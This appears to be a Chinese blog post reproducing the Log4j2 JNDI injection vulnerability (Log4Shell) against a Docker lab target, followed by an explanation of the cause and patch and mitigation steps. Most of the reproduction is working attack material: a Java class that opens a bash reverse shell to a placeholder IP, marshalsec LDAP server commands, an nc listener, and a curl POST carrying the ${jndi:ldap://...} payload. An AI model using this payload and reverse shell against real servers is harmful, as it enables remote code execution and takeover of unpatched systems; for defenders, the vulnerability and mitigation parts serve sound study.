简介

ApacheLog4j2是一个开源的Java日志框架,被广泛地应用在中间件、开发框架与Web应用中。

漏洞概述

该漏洞是由于Apache Log4j2某些功能存在递归解析功能,未经身份验证的攻击者通过发送特定恶意数据包,可在目标服务器上执行任意代码。

影响范围

Apache Log4j 2.x <= 2.15.0-rc1

复现

1、构造反序列化exp,改一下ip就好了

import java.lang.Runtime;
import java.lang.Process;

public class Exp {
    static {
        try {
            Runtime rt = Runtime.getRuntime();
            String[] commands = {"bash", "-c", "bash -i >& /dev/tcp/ip/12000 0>&1"};
            Process pc = rt.exec(commands);
            pc.waitFor();
        } catch (Exception e) {
            // do nothing
        }
    }
}

2、用javac编译一下

3、将得到的class文件放入web目录里面,然后开启

python -m SimpleHTTPServer 80

4、然后用marshalsec IDAP服务,项目地址:https://github.com/mbechler/marshalsec

[root@kevin ~]# git clone https://github.com/RandomRobbieBF/marshalsec-jar.git
[root@kevin ~]# cd marshalsec-jar/
[root@kevin ~]# java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://ip/#Exp" 9999

5、搭建靶场,项目地址:https://github.com/fengxuangit/log4j_vuln

#Docker安装
docker pull registry.cn-hangzhou.aliyuncs.com/fengxuan/log4j_vuln
docker run -it -d -p 8080:8080 --name log4j_vuln_container registry.cn-hangzhou.aliyuncs.com/fengxuan/log4j_vuln 
docker exec -it log4j_vuln_container /bin/bash
/bin/bash /home/apache-tomcat-8.5.45/bin/startup.sh
#部署完成
#POST http://靶机IP:8080/webstudy/hello-fengxuan 参数C即可

6、nc开启监听命令

nc -lvp 12000

7、直接payloadCURL发送POST请求:

curl -X POST -d 'c=${jndi:ldap://ip:9999/Exp}' http://ip:8080/webstudy/hello-fengxuan

8、接着就反弹shell了

万物皆可


原理

官方表述是:Apache Log4j2 中存在JNDI注入漏洞,当程序将用户输入的数据进行日志记录时,即可触发此漏洞,成功利用此漏洞可以在目标服务器上执行任意代码。

通俗简单的说就是:在打印日志的时候,如果你的日志内容中包含关键词 ${,攻击者就能将关键字所包含的内容当作变量来替换成任何攻击命令,并且执行。

由于 Apache Log4j2 的某些函数具有递归分析函数,因此攻击者可以直接构造恶意请求来触发远程代码执行漏洞。

修复方式

目前,Apache官方已发布新版本完成漏洞修复,建议用户尽快进行自查,并及时升级至最新版本:

https://github.com/apache/logging-log4j2/releases/tag/log4j-2.15.0-rc2

临时措施进行漏洞防范:

  1. 添加jvm启动参数-Dlog4j2.formatMsgNoLookups=true;
  2. 在应用classpath下添加log4j2.component.properties配置文件,文件内容为log4j2.formatMsgNoLookups=true;
  3. JDK使用11.0.1、8u191、7u201、6u211及以上的高版本;

声明:请勿利用文章内的相关技术从事非法测试,如因此产生的一切不良后果与文章作者无关。

Last modification:December 16, 2021
如果觉得我的文章对你有用,请随意赞赏